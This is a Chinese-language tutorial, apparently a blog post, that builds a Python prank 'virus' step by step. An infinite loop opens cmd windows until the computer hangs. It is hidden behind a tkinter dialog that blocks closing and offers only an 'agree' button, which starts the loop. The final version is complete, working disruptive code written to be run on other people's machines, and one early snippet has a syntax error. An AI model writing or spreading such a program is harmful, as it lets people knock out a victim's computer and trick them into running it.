#前两天在刷抖音的时候看到一个打开cmd黑窗口的代码,就兴起了写一个类似无限窗口的代码的思路,现实现如下:#
新建黑窗口的代码:
import os
os.system("start cmd")#使用OS库新建一个cmd黑窗口
那么我们只要把他放进一个无限循环,就可以起到病毒的效果:
import os
while(True):
os.system("start cmd")#让cmd黑窗口一直冒下去,起到病毒的效果
再封装进函数:
import os
def die:#把咱们的自制病毒放进函数里方便使用
while(True):
os.system("start cmd")#让cmd黑窗口一直冒下去,起到病毒的效果
但是这也太明显了,长了点眼睛都不会运行,起不到病毒的作用
那么,用tkinter加一个图形化界面,如下:
import tkinter as tk
import tkinter.messagebox
import random
from math import sin, cos, pi, log
from tkinter.constants import *
width = 888
height = 500
heartx = width / 2
hearty = height / 2
side = 11
if __name__ == '__main__':
root = tk.Tk()
root.title('¬‿¬')
root.resizable(0, 0)
root.wm_attributes("-toolwindow", 1)
screenwidth = root.winfo_screenwidth()
screenheight = root.winfo_screenheight()
widths = 300
heights = 100
x = (screenwidth - widths) / 2
y = (screenheight - heights) / 2 - 66
root.geometry('%dx%d+%d+%d' % (widths, heights, x, y)) # 设置在屏幕中居中显示
tk.Label(root, text='小可爱,让你电脑报废好吗', width=37, font=('宋体', 12)).place(x=0, y=10)
def OK(): # 同意按钮
root.destroy()
die() # 同意后运行咱们的死亡函数(这里还没加)
def NO(): # 拒绝按钮,拒绝不会退出,必须同意才可以退出
tk.messagebox.showwarning('¬‿¬', '再给你一次机会!')
def closeWindow():
tk.messagebox.showwarning('¬‿¬', '逃避是没有用的哦')
tk.Button(root, text='好哦', width=5, height=1, command=OK).place(x=80, y=50)
tk.Button(root, text='不要', width=5, height=1, command=NO).place(x=160, y=50)
root.protocol('WM_DELETE_WINDOW', closeWindow) # 绑定退出事件
root.mainloop()
最终版本:
import tkinter as tk
import tkinter.messagebox
import random
import os
from math import sin, cos, pi, log
from tkinter.constants import *
width = 888
height = 500
heartx = width / 2
hearty = height / 2
side = 11
def die():
while(True):
os.system("start cmd")
if __name__ == '__main__':
root = tk.Tk()
root.title('¬‿¬')
root.resizable(0, 0)
root.wm_attributes("-toolwindow", 1)
screenwidth = root.winfo_screenwidth()
screenheight = root.winfo_screenheight()
widths = 300
heights = 100
x = (screenwidth - widths) / 2
y = (screenheight - heights) / 2 - 66
root.geometry('%dx%d+%d+%d' % (widths, heights, x, y)) # 设置在屏幕中居中显示
tk.Label(root, text='小可爱,让你电脑报废好吗', width=37, font=('宋体', 12)).place(x=0, y=10)
def OK(): # 同意按钮
root.destroy()
die() # 同意后运行咱们的死亡函数
def NO(): # 拒绝按钮,拒绝不会退出,必须同意才可以退出
tk.messagebox.showwarning('¬‿¬', '再给你一次机会!')
def closeWindow():
tk.messagebox.showwarning('¬‿¬', '逃避是没有用的哦')
tk.Button(root, text='好哦', width=5, height=1, command=OK).place(x=80, y=50)
tk.Button(root, text='不要', width=5, height=1, command=NO).place(x=160, y=50)
root.protocol('WM_DELETE_WINDOW', closeWindow) # 绑定退出事件
root.mainloop()